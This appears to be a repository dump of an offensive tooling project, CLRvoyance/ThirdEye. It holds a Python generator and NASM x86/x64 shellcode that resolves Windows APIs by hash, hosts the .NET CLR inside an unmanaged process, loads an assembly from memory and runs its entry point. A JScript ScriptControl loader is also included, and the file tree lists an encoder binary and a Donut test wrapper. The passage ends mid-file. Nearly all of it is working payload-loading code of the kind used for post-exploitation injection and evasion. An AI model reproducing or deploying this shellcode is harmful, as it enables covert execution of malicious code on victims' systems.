├── .gitignore ├── CLRvoyance ├── CLRvoyance │ ├── clrvoyance.py │ ├── sc-32-api-functions.asm │ ├── sc-32-clr │ ├── sc-32-clr-apc │ ├── sc-32-clr-apc.asm │ ├── sc-32-clr.asm │ ├── sc-32-clrnd │ ├── sc-32-clrnd-apc │ ├── sc-32-clrnd-apc.asm │ ├── sc-32-clrnd.asm │ ├── sc-32-execunet.asm │ ├── sc-32-jscript.asm │ ├── sc-64-api-functions.asm │ ├── sc-64-clr │ ├── sc-64-clr.asm │ ├── sc-64-clrnd │ ├── sc-64-clrnd.asm │ ├── sc-64-execunet.asm │ └── sc-64-macros.asm └── README.md ├── ConvertTo-Base64.ps1 ├── README.md ├── deps ├── keystone.dll └── sgn.exe ├── thirdeye.py └── wrapper ├── DonutTest ├── App.config ├── DonutTest.csproj ├── DonutTest.sln ├── Program.cs ├── Properties │ └── AssemblyInfo.cs └── Readme.md ├── TestAssembly ├── App.config ├── Program.cs ├── Properties │ └── AssemblyInfo.cs └── assembly.csproj ├── wrapper.sln └── wrapper ├── App.config ├── Program.cs ├── Properties ├── AssemblyInfo.cs ├── Resources.Designer.cs └── Resources.resx └── wrapper.csproj /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | *.pdb 4 | *.bin 5 | [Dd]ebug/ 6 | [Rr]elease/ 7 | [Bb]in/ 8 | [Oo]bj/ -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/clrvoyance.py: -------------------------------------------------------------------------------- 1 | from argparse import ArgumentParser 2 | import struct 3 | import sys 4 | import os 5 | 6 | """ CLRvoyance 7 | Generates shellcode for loading managed assemblies into unmanaged processes 8 | """ 9 | 10 | LENGTH = { 11 | '32' : {'SAB':0x1b5, 'MEMCPY':0x221}, 12 | '64' : {'SAB':0x2aa, 'MEMCPY':0x346} 13 | } 14 | 15 | def dump_c(shellcode): 16 | sc_array = [] 17 | for i in range(len(shellcode)): 18 | pos = i % 16 19 | str = '' 20 | if pos == 0: 21 | str += '"' 22 | str += '\\x%02x' % shellcode[i] 23 | if i == len(shellcode) - 1: 24 | str += '";\n' 25 | elif pos == 16 - 1: 26 | str += '"\n' 27 | sc_array.append(str) 28 | 29 | shellcode_str = ''.join(sc_array) 30 | return shellcode_str 31 | 32 | def dump_net(shellcode): 33 | sc = [] 34 | string = 'byte[] shellcode={' 35 | for i in range(len(shellcode)): 36 | if i % 16 == 0: 37 | str = '\n0x%02x' % shellcode[i] 38 | else: 39 | str = '0x%02x' % shellcode[i] 40 | sc.append(str) 41 | string += ','.join(sc) + '};' 42 | return string 43 | 44 | def dump(options): 45 | assembly = open(options.assembly, 'rb').read() 46 | if options.dump == "c": 47 | print(dump_c(assembly)) 48 | elif options.dump == "net": 49 | print(dump_net(assembly)) 50 | else: 51 | print('[-] Unknown output type: %s' % options.dump) 52 | print('[-] Supported: c, net') 53 | 54 | def run(options): 55 | if not os.path.exists(options.assembly): 56 | print('[-] %s not found' % options.assembly) 57 | return 58 | 59 | if options.dump: 60 | return dump(options) 61 | 62 | assembly = open(options.assembly, 'rb').read() 63 | if options.apc and not options.new_domain: 64 | bootstrap = open("sc-%s-clr-apc" % options.platform, 'rb').read() 65 | elif options.apc and options.new_domain and options.platform == "32": 66 | bootstrap = open("sc-%s-clrnd-apc" % options.platform, 'rb').read() 67 | elif options.new_domain: 68 | bootstrap = open("sc-%s-clrnd" % options.platform, 'rb').read() 69 | else: 70 | bootstrap = open("sc-%s-clr" % options.platform, 'rb').read() 71 | 72 | print('[+] %d byte assembly' % len(assembly)) 73 | print('[+] %d byte bootstrap' % len(bootstrap)) 74 | 75 | first_sab = bootstrap.find(b"AAAA") 76 | if not first_sab or first_sab == 0: 77 | print('[-] Length not found in bootstrap!') 78 | sys.exit(1) 79 | 80 | second_memcpy = bootstrap[first_sab+1:].find(b"AAAA") 81 | if not second_memcpy or second_memcpy == 0: 82 | print('[-] Length not found in bootstrap (memcpy)!') 83 | sys.exit(1) 84 | 85 | assembly_len = struct.pack("GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (void**)&pCLRRuntimeInfo) 162 | GET_TLS_VAR 0x54 163 | push esi 164 | lea esi, [IID_ICLRRUNTIMEINFO-geteip+ebx] 165 | push esi 166 | lea esi, [RUNTIMEVERSION-geteip+ebx] 167 | push esi 168 | GET_TLS_VAR 0x50 169 | mov edx, [esi] 170 | push edx 171 | mov ecx, [edx] 172 | call [ecx+0x0c] 173 | test eax,eax 174 | jnz done 175 | 176 | ; pCLRRuntimeInfo->GetInterface(CLSID_CorRuntimeHost,IID_ICorRuntimeHost, (void**)&pCorRuntimeHost) 177 | GET_TLS_VAR 0x58 178 | push esi 179 | lea esi, [IID_ICORRUNTIMEHOST-geteip+ebx] 180 | push esi 181 | lea esi, [CLSID_CORRUNTIMEHOST-geteip+ebx] 182 | push esi 183 | GET_TLS_VAR 0x54 184 | mov edx, [esi] 185 | push edx 186 | mov ecx, [edx] 187 | call [ecx+0x24] 188 | test eax,eax 189 | jnz done 190 | 191 | ; pCorRuntimeHost->Start() 192 | GET_TLS_VAR 0x58 193 | mov edx, [esi] 194 | push edx 195 | mov ecx, [edx] 196 | call [ecx+0x28] 197 | test eax,eax 198 | jnz done 199 | 200 | %ifdef APPDOMAIN_VALUE 201 | ; pCorRuntimeHost->CreateDomain(APPDOMAIN_VALUE, null (void**)&pAppDomainThunk) 202 | GET_TLS_VAR 0x5c 203 | push esi 204 | push 0 205 | lea esi, [APPDOMAINNAME-geteip+ebx] 206 | push esi 207 | GET_TLS_VAR 0x58 208 | mov edx, [esi] 209 | push edx 210 | mov ecx, [edx] 211 | call [ecx+0x30] 212 | test eax,eax 213 | jnz done 214 | %else 215 | ; pCorRuntimeHost->GetDefaultDomain(&pAppDomainThunk) 216 | GET_TLS_VAR 0x5c 217 | push esi 218 | GET_TLS_VAR 0x58 219 | mov edx, [esi] 220 | push edx 221 | mov ecx, [edx] 222 | call [ecx+0x34] 223 | test eax,eax 224 | jnz done 225 | %endif 226 | 227 | ; pAppDomainThunk->QueryInterface(__uuidof(mscorlib::_AppDomain), (void**)&pAppDomain) 228 | GET_TLS_VAR 0x60 229 | push esi 230 | lea esi, [CLSID_APPDOMAIN-geteip+ebx] 231 | push esi 232 | GET_TLS_VAR 0x5c 233 | mov edx, [esi] 234 | push edx 235 | mov ecx, [edx] 236 | call [ecx] 237 | test eax,eax 238 | jnz done 239 | 240 | ; safeArrayBound->cElements = ASSEMBLY_LENGTH; 241 | GET_TLS_VAR 0x78 242 | mov [esi+SAFEARRAYBOUND.cElements], dword ASSEMBLY_LENGTH 243 | 244 | ; safeArrayBound->lLbound = 0; 245 | mov [esi+0x4], dword 0x00 246 | 247 | ; pSafeArray = SafeArrayCreate(VT_UI1, 1, safeArrayBound); 248 | GET_TLS_VAR 0x78 249 | push esi 250 | push byte 0x1 251 | push byte 0x11 252 | GET_TLS_VAR 0x3c 253 | call [esi] 254 | test eax,eax 255 | jz done 256 | GET_TLS_VAR 0x74 257 | mov [esi], eax 258 | 259 | ; SafeArrayAccessData(pSafeArray, &lpSafeData) 260 | GET_TLS_VAR 0x64 261 | push esi 262 | GET_TLS_VAR_ABS 0x74 263 | push esi 264 | GET_TLS_VAR 0x44 265 | call [esi] 266 | test eax,eax 267 | jnz done 268 | 269 | ; memcpy(lpSafeData, ASSEMBLY, ASSEMBLY_LENGTH) 270 | GET_TLS_VAR_ABS 0x64 271 | mov edi, esi 272 | lea esi, [ASSEMBLY-geteip+ebx] 273 | mov ecx, dword ASSEMBLY_LENGTH 274 | rep movsb 275 | 276 | ; SafeArrayUnaccessData(pSafeArray) 277 | GET_TLS_VAR_ABS 0x74 278 | push esi 279 | GET_TLS_VAR 0x48 280 | call [esi] 281 | test eax,eax 282 | jnz done 283 | 284 | ; pAppDomain->Load_3(pSafeArray, &pAssembly) 285 | GET_TLS_VAR 0x68 286 | push esi 287 | GET_TLS_VAR_ABS 0x74 288 | push esi 289 | GET_TLS_VAR 0x60 290 | mov edx, [esi] 291 | push edx 292 | mov ecx, [edx] 293 | call [ecx+0xb4] 294 | test eax,eax 295 | jnz done 296 | 297 | ; pAssembly->get_EntryPoint(&pMethodInfo) 298 | GET_TLS_VAR 0x6c 299 | push esi 300 | GET_TLS_VAR 0x68 301 | mov edx, [esi] 302 | push edx 303 | mov ecx, [edx] 304 | call [ecx+0x40] 305 | test eax,eax 306 | jnz done 307 | 308 | ; pMethodInfo->GetParameters(&pMethodParams) 309 | GET_TLS_VAR 0x7c 310 | push esi 311 | GET_TLS_VAR 0x6c 312 | mov edx, [esi] 313 | push edx 314 | mov ecx, [edx] 315 | call [ecx+0x48] 316 | test eax,eax 317 | jnz done 318 | 319 | ;SafeArrayGetLBound(pMethodParams, 1, &lLower); 320 | GET_TLS_VAR 0x8c 321 | push esi 322 | push 1 323 | GET_TLS_VAR_ABS 0x7c 324 | push esi 325 | GET_TLS_VAR 0x80 326 | call [esi] 327 | test eax,eax 328 | jnz done 329 | 330 | ;SafeArrayGetUBound(pMethodParams, 1, &lUpper); 331 | GET_TLS_VAR 0x90 332 | push esi 333 | push 1 334 | GET_TLS_VAR_ABS 0x7c 335 | push esi 336 | GET_TLS_VAR 0x84 337 | call [esi] 338 | test eax,eax 339 | jnz done 340 | 341 | ;lArgs = (lUpper - lLower) + 1; 342 | ;support Main() and Main(string[] args) 343 | GET_TLS_VAR_ABS 0x90 344 | mov eax, esi 345 | GET_TLS_VAR_ABS 0x8c 346 | mov ebx, esi 347 | sub eax, ebx 348 | add eax, 1 349 | ; if args > 1, return 350 | cmp eax, 1 351 | jg done 352 | 353 | ;pMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, lArgs); 354 | push eax 355 | push byte 0 356 | push byte 0x0c 357 | GET_TLS_VAR 0x40 358 | call [esi] 359 | test eax,eax 360 | jz done 361 | GET_TLS_VAR 0x70 362 | mov [esi], eax 363 | 364 | ; pMethodInfo->Invoke_3(obj, pMethodArgs, NULL); 365 | ; i assure you it doesn't care about the VARIANT and requires all these 366 | ; null dwords 367 | push 0 368 | GET_TLS_VAR_ABS 0x70 369 | push esi 370 | push 0x00000000 371 | push 0x00000000 372 | push 0x00000000 373 | push 0x00000000 374 | GET_TLS_VAR 0x6c 375 | mov edx, [esi] 376 | push edx 377 | mov ecx, [edx] 378 | call [ecx+0x94] 379 | test eax,eax 380 | jnz done 381 | 382 | ; resolve VirtualFree 383 | push KERNEL32_VIRTUALFREE_HASH 384 | push KERNEL32_HASH 385 | call GetFunctionAddress 386 | 387 | ; VirtualFree 388 | push 0x4000 389 | push 0x300 390 | mov esi, [fs:0x18] 391 | push dword [esi+0x14] 392 | call eax 393 | 394 | jmp done 395 | 396 | done: 397 | ret 398 | 399 | CLSID_CLRMETAHOST: 400 | db 0x8d,0x18,0x80,0x92,0x8e,0x0e,0x67,0x48,0xb3,0x0c,0x7f,0xa8,0x38,0x84,0xe8,0xde 401 | IID_ICLRMetaHost: 402 | db 0x9e,0xdb,0x32,0xd3,0xb3,0xb9,0x25,0x41,0x82,0x07,0xa1,0x48,0x84,0xf5,0x32,0x16 403 | IID_ICLRRUNTIMEINFO: 404 | db 0xd2,0xd1,0x39,0xbd,0x2f,0xba,0x6a,0x48,0x89,0xb0,0xb4,0xb0,0xcb,0x46,0x68,0x91 405 | IID_ICORRUNTIMEHOST: 406 | db 0x22,0x67,0x2f,0xcb,0x3a,0xab,0xd2,0x11,0x9c,0x40,0x00,0xc0,0x4f,0xa3,0x0a,0x3e 407 | CLSID_CORRUNTIMEHOST: 408 | db 0x23,0x67,0x2f,0xcb,0x3a,0xab,0xd2,0x11,0x9c,0x40,0x00,0xc0,0x4f,0xa3,0x0a,0x3e 409 | CLSID_APPDOMAIN: 410 | db 0xdc,0x96,0xf6,0x05,0x29,0x2b,0x63,0x36,0xad,0x8b,0xc4,0x38,0x9c,0xf2,0xa7,0x13 411 | 412 | CLRMETAHOST dd 0x00000000 413 | CLRRUNTIMEINFO dd 0x00000000 414 | CORRUNTIMEHOST dd 0x00000000 415 | APPDOMAINTHUNK dd 0x00000000 416 | APPDOMAIN dd 0x00000000 417 | SAFEARRAY dd 0x00000000 418 | SAFEARRAYDATA dd 0x00000000 419 | CORASSEMBLY dd 0x00000000 420 | METHODARGS dd 0x00000000 421 | METHODINFO dd 0x00000000 422 | 423 | sabSafeArray: RESB SAFEARRAYBOUND.size 424 | 425 | KERNEL32_HASHES_TABLE: 426 | dd KERNEL32_LOADLIBRARYA_HASH 427 | dd KERNEL32_GETPROCADDRESS_HASH 428 | dd KERNEL32_VIRTUALALLOC_HASH 429 | dd KERNEL32_VIRTUALFREE_HASH 430 | 431 | OLEAUT32_HASHES_TABLE: 432 | dd OLEAUT32_SAFEARRAYCREATE_HASH 433 | dd OLEAUT32_SAFEARRAYCREATEVECTOR_HASH 434 | dd OLEAUT32_SAFEARRAYACCESSDATA_HASH 435 | dd OLEAUT32_SAFEARRAYUNACCESSDATA_HASH 436 | dd OLEAUT32_SAFEARRAYGETLBOUND_HASH 437 | dd OLEAUT32_SAFEARRAYGETUBOUND_HASH 438 | 439 | MSCOREE_HASHES_TABLE: 440 | dd MSCOREE_CLRCREATEINSTANCE_HASH 441 | 442 | MSCOREE_FUNCTIONS_TABLE: 443 | MSCOREE_CLRCREATEINSTANCE dd 0x00000000 444 | 445 | KERNEL32_FUNCTIONS_TABLE: 446 | KERNEL32_LOADLIBRARY dd 0x00000000 447 | KERNEL32_GETPROCADDRESS dd 0x00000000 448 | KERNEL32_VIRTUALALLOC dd 0x00000000 449 | KERNEL32_VIRTUALFREE dd 0x00000000 450 | 451 | OLEAUT32_FUNCTIONS_TABLE: 452 | OLEAUT32_SAFEARRAYCREATE dd 0x00000000 453 | OLEAUT32_SAFEARRAYCREATEVECTOR dd 0x00000000 454 | OLEAUT32_SAFEARRAYACCESSDATA dd 0x00000000 455 | OLEAUT32_SAFEARRAYUNACCESSDATA dd 0x00000000 456 | OLEAUT32_SAFEARRAYGETLBOUND dd 0x00000000 457 | OLEAUT32_SAFEARRAYGETUBOUND dd 0x00000000 458 | 459 | MSCOREEDLL: 460 | db "MSCOREE.dll", 0 461 | OLEAUT32DLL: 462 | db "OleAut32.dll", 0 463 | 464 | RUNTIMEVERSION: 465 | db __utf16__(RUNTIMEVERSION_VALUE), 0, 0 -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-32-jscript.asm: -------------------------------------------------------------------------------- 1 | ; .NET serialization loader 2 | ; function loader and stub borrowed from Didier Steven 3 | ; You should probably use the CLR shellcode unless you specifically need 4 | ; serialization. In which case, just pop your string into the SO variable and 5 | ; compile via nasm. 6 | 7 | BITS 32 8 | 9 | %define LANGUAGE_VALUE "JScript" 10 | %define STUB_VALUE "var x=123;" 11 | 12 | OLE32_HASH equ 0x0001b408 13 | OLE32_NUMBER_OF_FUNCTIONS equ 2 14 | OLE32_COINITIALIZE_HASH equ 0x000cfe1a 15 | OLE32_COCREATEINSTANCE_HASH equ 0x00ce4916 16 | 17 | KERNEL32_HASH equ 0x000d4e88 18 | KERNEL32_NUMBER_OF_FUNCTIONS equ 2 19 | KERNEL32_LOADLIBRARYA_HASH equ 0x000d5786 20 | KERNEL32_GETPROCADDRESS_HASH equ 0x00348bfa 21 | 22 | OLEAUT32_HASH equ 0x000d8c88 23 | OLEAUT32_NUMBER_OF_FUNCTIONS equ 2 24 | OLEAUT32_SYSALLOCSTRING_HASH equ 0x003978ae 25 | OLEAUT32_VARIANTINIT_HASH equ 0x0006e80c 26 | 27 | segment .text 28 | call geteip 29 | geteip: 30 | pop ebx 31 | 32 | ; setup kernel32 33 | lea esi, [KERNEL32_FUNCTIONS_TABLE-geteip+ebx] 34 | push esi 35 | lea esi, [KERNEL32_HASHES_TABLE-geteip+ebx] 36 | push esi 37 | push byte KERNEL32_NUMBER_OF_FUNCTIONS 38 | push KERNEL32_HASH 39 | call LookupFunctions 40 | 41 | ; LoadLibraryA(ole32.dll) 42 | lea esi, [OLE32DLL-geteip+ebx] 43 | push esi 44 | call [KERNEL32_LOADLIBRARY-geteip+ebx] 45 | 46 | ; setup ole32 47 | lea esi, [OLE32_FUNCTIONS_TABLE-geteip+ebx] 48 | push esi 49 | lea esi, [OLE32_HASHES_TABLE-geteip+ebx] 50 | push esi 51 | push byte OLE32_NUMBER_OF_FUNCTIONS 52 | push OLE32_HASH 53 | call LookupFunctions 54 | 55 | ; setup oleaut32 56 | lea esi, [OLEAUT32_FUNCTIONS_TABLE-geteip+ebx] 57 | push esi 58 | lea esi, [OLEAUT32_HASHES_TABLE-geteip+ebx] 59 | push esi 60 | push byte OLEAUT32_NUMBER_OF_FUNCTIONS 61 | push OLEAUT32_HASH 62 | call LookupFunctions 63 | 64 | ; CoInitialize(0) 65 | push byte 0 66 | call [OLE32_COINITIALIZE-geteip+ebx] 67 | 68 | ; hr = CoCreateInstance(CLSID_IScriptControl, 0, CLSCTX_ALL, IID_IDispatch, (PVOID*)&pScriptControl) 69 | lea esi, [SCRIPTCONTROL-geteip+ebx] 70 | push esi 71 | lea esi, [IID_IDISPATCH-geteip+ebx] 72 | push esi 73 | push byte 0x17 74 | xor edi, edi 75 | push edi 76 | lea esi, [CLSID_ISCRIPTCONTROL-geteip+ebx] 77 | push esi 78 | call [OLE32_COCREATEINSTANCE-geteip+ebx] 79 | test eax, eax 80 | jnz done 81 | 82 | ; bbstr = SysAllocString(LANGUAGE) 83 | lea esi, [LANGUAGE-geteip+ebx] 84 | push esi 85 | call [OLEAUT32_SYSALLOCSTRING-geteip+ebx] 86 | test eax,eax 87 | jz done 88 | mov [BBSTR-geteip+ebx], eax 89 | 90 | ; pScriptControl->Language = "JScript" 91 | mov esi, [BBSTR-geteip+ebx] 92 | push esi 93 | mov edx, [SCRIPTCONTROL-geteip+ebx] 94 | push edx 95 | mov ecx, [edx] 96 | call [ecx+32] 97 | 98 | ; bbstr = SysAllocString(STUB) 99 | lea esi, [STUB-geteip+ebx] 100 | push esi 101 | call [OLEAUT32_SYSALLOCSTRING-geteip+ebx] 102 | test eax,eax 103 | jz done 104 | mov [BBSTR-geteip+ebx], eax 105 | 106 | ; VariantInit(&variant) 107 | lea esi, [VARIANT-geteip+ebx] 108 | push esi 109 | call [OLEAUT32_VARIANTINIT-geteip+ebx] 110 | 111 | ; pScriptControl->Eval(STUB) 112 | lea esi, [VARIANT-geteip+ebx] 113 | push esi 114 | mov esi, [BBSTR-geteip+ebx] 115 | push esi 116 | mov edx, [SCRIPTCONTROL-geteip+ebx] 117 | push edx 118 | mov ecx, [edx] 119 | call [ecx+108] 120 | 121 | done: 122 | ret 123 | 124 | %include "sc-api-functions.asm" 125 | 126 | OLE32_HASHES_TABLE: 127 | dd OLE32_COINITIALIZE_HASH 128 | dd OLE32_COCREATEINSTANCE_HASH 129 | 130 | KERNEL32_HASHES_TABLE: 131 | dd KERNEL32_LOADLIBRARYA_HASH 132 | dd KERNEL32_GETPROCADDRESS_HASH 133 | 134 | OLEAUT32_HASHES_TABLE: 135 | dd OLEAUT32_SYSALLOCSTRING_HASH 136 | dd OLEAUT32_VARIANTINIT_HASH 137 | 138 | CLSID_ISCRIPTCONTROL: 139 | db 0xd5,0xf1,0x59,0x0e,0xbe,0x1f,0xd0,0x11,0x8f,0xf2,0x00,0xa0,0xd1,0x00,0x38,0xbc 140 | IID_IDISPATCH: 141 | db 0x00,0x04,0x02,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 142 | 143 | OLE32_FUNCTIONS_TABLE: 144 | OLE32_COINITIALIZE dd 0x00000000 145 | OLE32_COCREATEINSTANCE dd 0x00000000 146 | 147 | KERNEL32_FUNCTIONS_TABLE: 148 | KERNEL32_LOADLIBRARY dd 0x00000000 149 | KERNEL32_GETPROCADDRESS dd 0x00000000 150 | 151 | OLEAUT32_FUNCTIONS_TABLE: 152 | OLEAUT32_SYSALLOCSTRING dd 0x00000000 153 | OLEAUT32_VARIANTINIT dd 0x00000000 154 | 155 | SCRIPTCONTROL dd 0x00000000 156 | BBSTR dd 0x00000000 157 | VARIANT dd 0x00000000 158 | 159 | OLE32DLL: 160 | db "ole32.dll", 0 161 | 162 | LANGUAGE: 163 | db __utf16__(LANGUAGE_VALUE), 0, 0 164 | STUB: 165 | db __utf16__(STUB_VALUE), 0, 0 -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-64-api-functions.asm: -------------------------------------------------------------------------------- 1 | ; x64 shellcode functions to lookup API functions, translated from and based on 2 | ; shellcode from McDermott Cybersecurity http://mcdermottcybersecurity.com 3 | ; This shellcode from McDermott is released under MIT license. 4 | ; Written for NASM assembler (http://www.nasm.us) by Didier Stevens 5 | ; https://DidierStevens.com 6 | ; Use at your own risk 7 | ; 8 | ; History: 9 | ; 2011/12/27: Refactored API functions to this include file 10 | ; 11 | ; bja changes: 12 | ; - wrong_func with loop instruction had an off-by-one, preventing one from fetching the address 13 | ; of the first (hint 0) export of a DLL 14 | ; - function search will return the wrong one for matching exports. For example, if you're looking for 15 | ; MyCreate and the DLL exports MyCreateFunc before MyCreate, it'll return the address of MyCreateFunc 16 | ; since it only checks if they match 17 | ; 18 | 19 | REGISTERSIZE equ 0x08 20 | VARIABLESTRSIZE equ 0x100 21 | 22 | REGISTERINDEX_RBX equ 0 * REGISTERSIZE + STACKSPACE 23 | REGISTERINDEX_RBP equ 1 * REGISTERSIZE + STACKSPACE 24 | REGISTERINDEX_RDI equ 2 * REGISTERSIZE + STACKSPACE 25 | REGISTERINDEX_RSI equ 3 * REGISTERSIZE + STACKSPACE 26 | REGISTERINDEX_R12 equ 4 * REGISTERSIZE + STACKSPACE 27 | REGISTERINDEX_R13 equ 5 * REGISTERSIZE + STACKSPACE 28 | REGISTERINDEX_R14 equ 6 * REGISTERSIZE + STACKSPACE 29 | REGISTERINDEX_R15 equ 7 * REGISTERSIZE + STACKSPACE 30 | REGISTERCOUNT equ 8 ; must be even 31 | 32 | VARIABLEINDEX_STR equ 8 * REGISTERSIZE + STACKSPACE 33 | 34 | ;look up address of function from DLL export table 35 | ;rcx=DLL name string, rdx=function name string, r8 address to store address function 36 | ;DLL name must be in uppercase 37 | ;r9=address of LoadLibraryA (optional, needed if export is forwarded) 38 | ;returns address in rax 39 | ;returns 0 if DLL not loaded or exported function not found in DLL 40 | lookup_api: 41 | sub rsp, STACKSPACE + VARIABLESTRSIZE + REGISTERCOUNT * REGISTERSIZE ;set up stack frame in case we call loadlibrary 42 | mov [rsp + REGISTERINDEX_RBX], rbx ;save non-volatile registers 43 | mov [rsp + REGISTERINDEX_RBP], rbp 44 | mov [rsp + REGISTERINDEX_RDI], rdi 45 | mov [rsp + REGISTERINDEX_RSI], rsi 46 | mov [rsp + REGISTERINDEX_R12], r12 47 | mov [rsp + REGISTERINDEX_R13], r13 48 | mov [rsp + REGISTERINDEX_R14], r14 49 | mov [rsp + REGISTERINDEX_R15], r15 50 | 51 | start: 52 | mov r11, [gs:0x60] ;peb 53 | mov r11, [r11 + 0x18] ;peb loader data 54 | lea r11, [r11 + 0x10] ;InLoadOrderModuleList (list head) 55 | mov r15, r11 ;save for later 56 | mov r11, [r11] ;follow _LIST_ENTRY->Flink to first item in list 57 | cld 58 | 59 | for_each_dll: ;r11 points to current _ldr_data_table_entry 60 | mov rdi, [r11 + 0x58 + 0x08] ;UNICODE_STRING at 58h, actual string buffer at 60h 61 | mov rsi, rcx ;pointer to dll we're looking for 62 | 63 | compare_dll: 64 | lodsb ;load character of our dll name string 65 | test al, al ;check for null terminator 66 | jz found_dll ;if at the end of our string and all matched so far, found it 67 | 68 | mov ah, [rdi] ;get character of current dll 69 | cmp ah, 'a' ;lowercase 'a' 70 | jl uppercase 71 | sub ah, ' ' ;convert to uppercase 72 | 73 | uppercase: 74 | cmp ah, al 75 | jne wrong_dll ;found a character mismatch - try next dll 76 | 77 | inc rdi ;skip to next unicode character 78 | inc rdi 79 | jmp compare_dll ;continue string comparison 80 | 81 | wrong_dll: 82 | mov r11, [r11] ;move to next _list_entry (following Flink pointer) 83 | cmp r11, r15 ;see if we're back at the list head (circular list) 84 | jne for_each_dll 85 | 86 | xor rax, rax ;DLL not found 87 | jmp return 88 | 89 | found_dll: 90 | mov rbx, [r11 + 0x30] ;get dll base addr - points to DOS "MZ" header 91 | 92 | mov r12d, [rbx + 0x3c] ;get DOS header e_lfanew field for offset to "PE" header 93 | add r12, rbx ;add to base - now r12 points to _image_nt_headers64 94 | add r12, 0x18 + 0x70 ;18h to optional header + 70h to data directories 95 | ;r12 now points to _image_data_directory[0] array entry 96 | ;which is the export directory 97 | 98 | mov r13d, [r12] ;get virtual address of export directory 99 | test r13, r13 ;if zero, module does not have export table 100 | jnz has_exports 101 | 102 | xor rax, rax ;no exports - function will not be found in dll 103 | jmp return 104 | 105 | has_exports: 106 | lea r11, [rbx + r13] ;add dll base to get actual memory address 107 | ;r11 points to _image_export_directory structure (see winnt.h) 108 | 109 | mov r14d, [r12 + 0x04] ; get size of export directory 110 | add r14, r13 ;add base rva of export directory 111 | ;r13 and r14 now contain range of export directory 112 | ;will be used later to check if export is forwarded 113 | 114 | mov ecx, [r11 + 0x18] ;NumberOfNames 115 | mov r10d, [r11 + 0x20] ;AddressOfNames (array of RVAs) 116 | add r10, rbx ;add dll base 117 | 118 | for_each_func: 119 | dec ecx ;point to last element in array (searching backwards) 120 | lea r12, [r10 + 4 * rcx] ;get current index in names array 121 | 122 | mov edi, [r12] ;get RVA of name 123 | add rdi, rbx ;add base 124 | mov rsi, rdx ;pointer to function we're looking for 125 | 126 | compare_func: 127 | cmpsb 128 | jne wrong_func ;function name doesn't match 129 | 130 | mov al, [rsi] ;current character of our function 131 | test al, al ;check for null terminator 132 | jz potential_match ;if at the end of our string and all matched so far, we MIGHT have found it 133 | 134 | jmp compare_func ;continue string comparison 135 | 136 | potential_match: 137 | mov al, [rdi] ;current character of DLL function 138 | test al, al ;check for null terminator 139 | jz found_func 140 | 141 | jmp compare_func 142 | 143 | wrong_func: 144 | test ecx,ecx 145 | jnz for_each_func 146 | 147 | xor rax, rax ;function not found in export table 148 | jmp return 149 | 150 | found_func: ;ecx is array index where function name found 151 | 152 | ;r11 points to _image_export_directory structure 153 | mov r12d, [r11 + 0x24] ; AddressOfNameOrdinals (rva) 154 | add r12, rbx ;add dll base address 155 | mov cx, [r12 + 2 * rcx] ;get ordinal value from array of words 156 | 157 | mov r12d, [r11 + 0x1c] ;AddressOfFunctions (rva) 158 | add r12, rbx ;add dll base address 159 | mov eax, [r12 + 4 * rcx] ;Get RVA of function using index 160 | 161 | cmp rax, r13 ;see if func rva falls within range of export dir 162 | jl not_forwarded 163 | cmp rax, r14 ;if r13 <= func < r14 then forwarded 164 | jae not_forwarded 165 | 166 | ;forwarded function address points to a string of the form . 167 | ;note: dll name will be in uppercase 168 | ;extract the DLL name and add ".DLL" 169 | 170 | lea rsi, [rax + rbx] ;add base address to rva to get forwarded function name 171 | lea rdi, [rsp + VARIABLEINDEX_STR] ;using STR space on stack as a work area 172 | 173 | copy_dll_name: 174 | movsb 175 | cmp byte [rsi], '.' ;check for '.' (period) character 176 | jne copy_dll_name 177 | 178 | movsb ;also copy period 179 | mov dword [rdi], "DLL" ;0x004c4c44 add "DLL" extension and null terminator 180 | 181 | mov r14, r8 ;save r8 182 | lea rcx, [rsp + VARIABLEINDEX_STR] ;points to ".DLL" string on stack 183 | call r9 ;call LoadLibraryA with target dll 184 | mov r8, r14 ;restore r8 185 | 186 | lea rcx, [rsp + VARIABLEINDEX_STR] ;target dll name 187 | mov rdx, rsi ;target function name 188 | jmp start ;start over with new parameters 189 | 190 | not_forwarded: 191 | add rax, rbx ;add base addr to rva to get function address 192 | return: 193 | mov [r8], rax ;store function address in variable 194 | 195 | mov rbx, [rsp + REGISTERINDEX_RBX] ;restore non-volatile registers 196 | mov rbp, [rsp + REGISTERINDEX_RBP] 197 | mov rdi, [rsp + REGISTERINDEX_RDI] 198 | mov rsi, [rsp + REGISTERINDEX_RSI] 199 | mov r12, [rsp + REGISTERINDEX_R12] 200 | mov r13, [rsp + REGISTERINDEX_R13] 201 | mov r14, [rsp + REGISTERINDEX_R14] 202 | mov r15, [rsp + REGISTERINDEX_R15] 203 | add rsp, STACKSPACE + VARIABLESTRSIZE + REGISTERCOUNT * REGISTERSIZE ;clean up stack 204 | ret 205 | -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-64-clr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyleavery/ThirdEye/0add1545129d3aafda1560028b57445a3d4ba7e9/CLRvoyance/CLRvoyance/sc-64-clr -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-64-clr.asm: -------------------------------------------------------------------------------- 1 | %include "sc-64-macros.asm" 2 | 3 | segment .text 4 | ; setup environment, reserve stack space 5 | sub rsp, STACKSPACE + ROUND_EVEN(APIFUNCTIONCOUNT) * POINTERSIZE 6 | jmp execunet 7 | ret 8 | 9 | %include "sc-64-api-functions.asm" 10 | %include "sc-64-execunet.asm" 11 | 12 | ASSEMBLY_LENGTH equ 1094795585 13 | ASSEMBLY: 14 | db 0x00 -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-64-clrnd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyleavery/ThirdEye/0add1545129d3aafda1560028b57445a3d4ba7e9/CLRvoyance/CLRvoyance/sc-64-clrnd -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-64-clrnd.asm: -------------------------------------------------------------------------------- 1 | %include "sc-64-macros.asm" 2 | 3 | %define APPDOMAIN_NAME "aXbpOzzF" 4 | 5 | segment .text 6 | 7 